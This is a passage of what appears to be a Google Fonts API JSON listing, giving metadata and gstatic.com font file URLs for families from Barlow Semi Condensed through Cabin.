Condensed", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlphgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfG4qvKk8ogoSP.ttf", "100italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpjgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbLLIEsKh5SPZWs.ttf", "200": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRft6uPAGEki52WfA.ttf", "200italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJnAWsgqZiGfHK5.ttf", "300": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf06iPAGEki52WfA.ttf", "300italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIDAmsgqZiGfHK5.ttf", "regular": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpvgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRnf4CrCEo4gg.ttf", "italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlphgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfYqvKk8ogoSP.ttf", "500": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfi6mPAGEki52WfA.ttf", "500italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJbA2sgqZiGfHK5.ttf", "600": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfp66PAGEki52WfA.ttf", "600italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbJ3BGsgqZiGfHK5.ttf", "700": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRfw6-PAGEki52WfA.ttf", "700italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbITBWsgqZiGfHK5.ttf", "800": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf36yPAGEki52WfA.ttf", "800italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIPBmsgqZiGfHK5.ttf", "900": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpigxjLBV1hqnzfr-F8sEYMB0Yybp0mudRf-62PAGEki52WfA.ttf", "900italic": "http://fonts.gstatic.com/s/barlowsemicondensed/v5/wlpkgxjLBV1hqnzfr-F8sEYMB0Yybp0mudRXfbIrB2sgqZiGfHK5.ttf" } }, { "kind": "webfonts#webfont", "family": "Barriecito", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v2", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/barriecito/v2/WWXXlj-CbBOSLY2QTuY_KdUiYwTO0MU.ttf" } }, { "kind": "webfonts#webfont", "family": "Barrio", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/barrio/v4/wEO8EBXBk8hBIDiEdQYhWdsX1Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Basic", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/basic/v9/xfu_0WLxV2_XKQN34lDVyR7D.ttf" } }, { "kind": "webfonts#webfont", "family": "Baskervville", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/baskervville/v1/YA9Ur0yU4l_XOrogbkun3kQgt5OohvbJ9A.ttf", "italic": "http://fonts.gstatic.com/s/baskervville/v1/YA9Kr0yU4l_XOrogbkun3kQQtZmspPPZ9Mlt.ttf" } }, { "kind": "webfonts#webfont", "family": "Battambang", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "khmer" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/battambang/v13/uk-mEGe7raEw-HjkzZabDnWj4yxx7o8.ttf", "700": "http://fonts.gstatic.com/s/battambang/v13/uk-lEGe7raEw-HjkzZabNsmMxyRa8oZK9I0.ttf" } }, { "kind": "webfonts#webfont", "family": "Baumans", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/baumans/v9/-W_-XJj9QyTd3QfpR_oyaksqY5Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Bayon", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bayon/v13/9XUrlJNmn0LPFl-pOhYEd2NJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Be Vietnam", "category": "sans-serif", "variants": [ "100", "100italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "100": "http://fonts.gstatic.com/s/bevietnam/v1/FBVxdDflz-iPfoPuIC2iKsUn7W1hK2czPg.ttf", "100italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVvdDflz-iPfoPuIC2iIqMfiWdlCWIjPi5p.ttf", "300": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKg0FzUdPJ24qJzc.ttf", "300italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfQUVFI0wvNzdwXQ.ttf", "regular": "http://fonts.gstatic.com/s/bevietnam/v1/FBVzdDflz-iPfoPuIC2iEqEt6U9kO2c.ttf", "italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVxdDflz-iPfoPuIC2iIqMn7W1hK2czPg.ttf", "500": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKlUEzUdPJ24qJzc.ttf", "500italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfGURFI0wvNzdwXQ.ttf", "600": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKnkDzUdPJ24qJzc.ttf", "600italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfNUNFI0wvNzdwXQ.ttf", "700": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKh0CzUdPJ24qJzc.ttf", "700italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfUUJFI0wvNzdwXQ.ttf", "800": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKgEBzUdPJ24qJzc.ttf", "800italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfTUFFI0wvNzdwXQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Bebas Neue", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/bebasneue/v1/JTUSjIg69CK48gW7PXooxW5rygbi49c.ttf" } }, { "kind": "webfonts#webfont", "family": "Belgrano", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/belgrano/v10/55xvey5tM9rwKWrJZcMFirl08KDJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Bellefair", "category": "serif", "variants": [ "regular" ], "subsets": [ "hebrew", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bellefair/v5/kJExBuYY6AAuhiXUxG19__A2pOdvDA.ttf" } }, { "kind": "webfonts#webfont", "family": "Belleza", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/belleza/v8/0nkoC9_pNeMfhX4BtcbyawzruP8.ttf" } }, { "kind": "webfonts#webfont", "family": "Bellota", "category": "display", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "300": "http://fonts.gstatic.com/s/bellota/v1/MwQzbhXl3_qEpiwAID55kGMViblPtXs.ttf", "300italic": "http://fonts.gstatic.com/s/bellota/v1/MwQxbhXl3_qEpiwAKJBjHGEfjZtKpXulTQ.ttf", "regular": "http://fonts.gstatic.com/s/bellota/v1/MwQ2bhXl3_qEpiwAGJJRtGs-lbA.ttf", "italic": "http://fonts.gstatic.com/s/bellota/v1/MwQ0bhXl3_qEpiwAKJBbsEk7hbBWrA.ttf", "700": "http://fonts.gstatic.com/s/bellota/v1/MwQzbhXl3_qEpiwAIC5-kGMViblPtXs.ttf", "700italic": "http://fonts.gstatic.com/s/bellota/v1/MwQxbhXl3_qEpiwAKJBjDGYfjZtKpXulTQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Bellota Text", "category": "display", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "300": "http://fonts.gstatic.com/s/bellotatext/v1/0FlMVP2VnlWS4f3-UE9hHXM5VfsqfQXwQy6yxg.ttf", "300italic": "http://fonts.gstatic.com/s/bellotatext/v1/0FlOVP2VnlWS4f3-UE9hHXMx--Gmfw_0YSuixmYK.ttf", "regular": "http://fonts.gstatic.com/s/bellotatext/v1/0FlTVP2VnlWS4f3-UE9hHXMB-dMOdS7sSg.ttf", "italic": "http://fonts.gstatic.com/s/bellotatext/v1/0FlNVP2VnlWS4f3-UE9hHXMx-9kKVyv8Sjer.ttf", "700": "http://fonts.gstatic.com/s/bellotatext/v1/0FlMVP2VnlWS4f3-UE9hHXM5RfwqfQXwQy6yxg.ttf", "700italic": "http://fonts.gstatic.com/s/bellotatext/v1/0FlOVP2VnlWS4f3-UE9hHXMx--G2eA_0YSuixmYK.ttf" } }, { "kind": "webfonts#webfont", "family": "BenchNine", "category": "sans-serif", "variants": [ "300", "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/benchnine/v8/ahcev8612zF4jxrwMosT--tRhWa8q0v8ag.ttf", "regular": "http://fonts.gstatic.com/s/benchnine/v8/ahcbv8612zF4jxrwMosrV8N1jU2gog.ttf", "700": "http://fonts.gstatic.com/s/benchnine/v8/ahcev8612zF4jxrwMosT6-xRhWa8q0v8ag.ttf" } }, { "kind": "webfonts#webfont", "family": "Bentham", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bentham/v10/VdGeAZQPEpYfmHglKWw7CJaK_y4.ttf" } }, { "kind": "webfonts#webfont", "family": "Berkshire Swash", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/berkshireswash/v8/ptRRTi-cavZOGqCvnNJDl5m5XmNPrcQybX4pQA.ttf" } }, { "kind": "webfonts#webfont", "family": "Beth Ellen", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v1", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/bethellen/v1/WwkbxPW2BE-3rb_JNT-qEIAiVNo5xNY.ttf" } }, { "kind": "webfonts#webfont", "family": "Bevan", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bevan/v11/4iCj6KZ0a9NXjF8aUir7tlSJ.ttf" } }, { "kind": "webfonts#webfont", "family": "Big Shoulders Display", "category": "display", "variants": [ "100", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "100": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1xPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ur9DrDJYM2lAZ.ttf", "300": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UZ_LLJrgA00kAdA.ttf", "regular": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1_PZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1sy9rvLpMc2g.ttf", "500": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UP_PLJrgA00kAdA.ttf", "600": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UE_TLJrgA00kAdA.ttf", "700": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ud_XLJrgA00kAdA.ttf", "800": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ua_bLJrgA00kAdA.ttf", "900": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UT_fLJrgA00kAdA.ttf" } }, { "kind": "webfonts#webfont", "family": "Big Shoulders Text", "category": "display", "variants": [ "100", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "100": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xzezRtP9G3CGPIf49hxc8P0eytUxBU-IZ_YscCdXQB.ttf", "300": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUMKRfSOkOfG0Y3A.ttf", "regular": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xxezRtP9G3CGPIf49hxc8P0eytUxBsnIx7QMISdQ.ttf", "500": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUaKVfSOkOfG0Y3A.ttf", "600": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBURKJfSOkOfG0Y3A.ttf", "700": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUIKNfSOkOfG0Y3A.ttf", "800": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUPKBfSOkOfG0Y3A.ttf", "900": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUGKFfSOkOfG0Y3A.ttf" } }, { "kind": "webfonts#webfont", "family": "Bigelow Rules", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bigelowrules/v8/RrQWboly8iR_I3KWSzeRuN0zT4cCH8WAJVk.ttf" } }, { "kind": "webfonts#webfont", "family": "Bigshot One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bigshotone/v10/u-470qukhRkkO6BD_7cM_gxuUQJBXv_-.ttf" } }, { "kind": "webfonts#webfont", "family": "Bilbo", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bilbo/v9/o-0EIpgpwWwZ210hpIRz4wxE.ttf" } }, { "kind": "webfonts#webfont", "family": "Bilbo Swash Caps", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bilboswashcaps/v12/zrf-0GXbz-H3Wb4XBsGrTgq2PVmdqAPopiRfKp8.ttf" } }, { "kind": "webfonts#webfont", "family": "BioRhyme", "category": "serif", "variants": [ "200", "300", "regular", "700", "800" ], "subsets": [ "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/biorhyme/v4/1cX3aULHBpDMsHYW_ESOjnGAq8Sk1PoH.ttf", "300": "http://fonts.gstatic.com/s/biorhyme/v4/1cX3aULHBpDMsHYW_ETqjXGAq8Sk1PoH.ttf", "regular": "http://fonts.gstatic.com/s/biorhyme/v4/1cXwaULHBpDMsHYW_HxGpVWIgNit.ttf", "700": "http://fonts.gstatic.com/s/biorhyme/v4/1cX3aULHBpDMsHYW_ET6inGAq8Sk1PoH.ttf", "800": "http://fonts.gstatic.com/s/biorhyme/v4/1cX3aULHBpDMsHYW_ETmiXGAq8Sk1PoH.ttf" } }, { "kind": "webfonts#webfont", "family": "BioRhyme Expanded", "category": "serif", "variants": [ "200", "300", "regular", "700", "800" ], "subsets": [ "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dVIE1zZzytGswgU577CDY9LjbffxxcblSHSdTXrb_z.ttf", "300": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dVIE1zZzytGswgU577CDY9Ljbffxw4bVSHSdTXrb_z.ttf", "regular": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dQIE1zZzytGswgU577CDY9LjbffySURXCPYsje.ttf", "700": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dVIE1zZzytGswgU577CDY9LjbffxwoalSHSdTXrb_z.ttf", "800": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dVIE1zZzytGswgU577CDY9Ljbffxw0aVSHSdTXrb_z.ttf" } }, { "kind": "webfonts#webfont", "family": "Biryani", "category": "sans-serif", "variants": [ "200", "300", "regular", "600", "700", "800", "900" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84YddYQyGTBSU-J-RxQ.ttf", "300": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84YddeAxGTBSU-J-RxQ.ttf", "regular": "http://fonts.gstatic.com/s/biryani/v5/hv-WlzNxIFoO84YdTUwZPTh5T-s.ttf", "600": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84YddZQ3GTBSU-J-RxQ.ttf", "700": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84YddfA2GTBSU-J-RxQ.ttf", "800": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84Yddew1GTBSU-J-RxQ.ttf", "900": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84Yddcg0GTBSU-J-RxQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Bitter", "category": "serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v15", "lastModified": "2019-07-22", "files": { "regular": "http://fonts.gstatic.com/s/bitter/v15/rax8HiqOu8IVPmnLeIZoDDlCmg.ttf", "italic": "http://fonts.gstatic.com/s/bitter/v15/rax-HiqOu8IVPmn7eoxsLjxSmlLZ.ttf", "700": "http://fonts.gstatic.com/s/bitter/v15/rax_HiqOu8IVPmnzxKlMBBJek0vA8A.ttf" } }, { "kind": "webfonts#webfont", "family": "Black And White Picture", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/blackandwhitepicture/v8/TwMe-JAERlQd3ooUHBUXGmrmioKjjnRSFO-NqI5HbcMi-yWY.ttf" } }, { "kind": "webfonts#webfont", "family": "Black Han Sans", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/blackhansans/v8/ea8Aad44WunzF9a-dL6toA8r8nqVIXSkH-Hc.ttf" } }, { "kind": "webfonts#webfont", "family": "Black Ops One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/blackopsone/v11/qWcsB6-ypo7xBdr6Xshe96H3WDzRtjkho4M.ttf" } }, { "kind": "webfonts#webfont", "family": "Blinker", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "600", "700", "800", "900" ], "subsets": [ "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "100": "http://fonts.gstatic.com/s/blinker/v3/cIf_MaFatEE-VTaP_E2hZEsCkIt9QQ.ttf", "200": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_OGARGEsnIJkWL4.ttf", "300": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_IWDRGEsnIJkWL4.ttf", "regular": "http://fonts.gstatic.com/s/blinker/v3/cIf9MaFatEE-VTaPxCmrYGkHgIs.ttf", "600": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_PGFRGEsnIJkWL4.ttf", "700": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_JWERGEsnIJkWL4.ttf", "800": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_ImHRGEsnIJkWL4.ttf", "900": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_K2GRGEsnIJkWL4.ttf" } }, { "kind": "webfonts#webfont", "family": "Bokor", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bokor/v12/m8JcjfpeeaqTiR2WdInbcaxE.ttf" } }, { "kind": "webfonts#webfont", "family": "Bonbon", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bonbon/v11/0FlVVPeVlFec4ee_cDEAbQY5-A.ttf" } }, { "kind": "webfonts#webfont", "family": "Boogaloo", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/boogaloo/v11/kmK-Zq45GAvOdnaW6x1F_SrQo_1K.ttf" } }, { "kind": "webfonts#webfont", "family": "Bowlby One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bowlbyone/v11/taiPGmVuC4y96PFeqp8smo6C_Z0wcK4.ttf" } }, { "kind": "webfonts#webfont", "family": "Bowlby One SC", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bowlbyonesc/v11/DtVlJxerQqQm37tzN3wMug9Pzgj8owhNjuE.ttf" } }, { "kind": "webfonts#webfont", "family": "Brawler", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/brawler/v10/xn7gYHE3xXewAscGsgC7S9XdZN8.ttf" } }, { "kind": "webfonts#webfont", "family": "Bree Serif", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/breeserif/v9/4UaHrEJCrhhnVA3DgluAx63j5pN1MwI.ttf" } }, { "kind": "webfonts#webfont", "family": "Bubblegum Sans", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bubblegumsans/v8/AYCSpXb_Z9EORv1M5QTjEzMEtdaHzoPPb7R4.ttf" } }, { "kind": "webfonts#webfont", "family": "Bubbler One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bubblerone/v8/f0Xy0eqj68ppQV9KBLmAouHH26MPePkt.ttf" } }, { "kind": "webfonts#webfont", "family": "Buda", "category": "display", "variants": [ "300" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/buda/v10/GFDqWAN8mnyIJSSrG7UBr7pZKA0.ttf" } }, { "kind": "webfonts#webfont", "family": "Buenard", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/buenard/v11/OD5DuM6Cyma8FnnsPzf9qGi9HL4.ttf", "700": "http://fonts.gstatic.com/s/buenard/v11/OD5GuM6Cyma8FnnsB4vSjGCWALepwss.ttf" } }, { "kind": "webfonts#webfont", "family": "Bungee", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bungee/v5/N0bU2SZBIuF2PU_ECn50Kd_PmA.ttf" } }, { "kind": "webfonts#webfont", "family": "Bungee Hairline", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bungeehairline/v5/snfys0G548t04270a_ljTLUVrv-7YB2dQ5ZPqQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Bungee Inline", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bungeeinline/v5/Gg8zN58UcgnlCweMrih332VuDGJ1-FEglsc.ttf" } }, { "kind": "webfonts#webfont", "family": "Bungee Outline", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bungeeoutline/v5/_6_mEDvmVP24UvU2MyiGDslL3Qg3YhJqPXxo.ttf" } }, { "kind": "webfonts#webfont", "family": "Bungee Shade", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bungeeshade/v5/DtVkJxarWL0t2KdzK3oI_jks7iLSrwFUlw.ttf" } }, { "kind": "webfonts#webfont", "family": "Butcherman", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/butcherman/v11/2EbiL-thF0loflXUBOdb1zWzq_5uT84.ttf" } }, { "kind": "webfonts#webfont", "family": "Butterfly Kids", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/butterflykids/v8/ll8lK2CWTjuqAsXDqlnIbMNs5S4arxFrAX1D.ttf" } }, { "kind": "webfonts#webfont", "family": "Cabin", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v14", "lastModified": "2019-07-22", "files": { "regular": "http://fonts.gstatic.com/s/cabin/v14/u-4x0qWljRw-Pe839fxqmjRv.ttf", "italic": "http://fonts.gstatic.com/s/cabin/v14/u-4_0qWljRw-Pd81__hInyRvYwc.ttf", "500": "http://fonts.gstatic.com/s/cabin/v14/u-480qWljRw-PdfD3NhisShmeh5I.ttf", "500italic": "http://fonts.gstatic.com/s/cabin/v14/u-460qWljRw-Pd81xwxhuyxEfw5IR-Y.ttf", "600": "http://fonts.gstatic.com/s/cabin/v14/u-480qWljRw-Pdfv29hisShmeh5I.ttf", "600italic": "http://fonts.gstatic.com/s/cabin/v14/u-460qWljRw-Pd81xyBmuyxEfw5IR-Y.ttf", "700": "http://fonts.gstatic.com/s/cabin/v14/u-480qWljRw-PdeL2thisShmeh5I.ttf", "700italic": 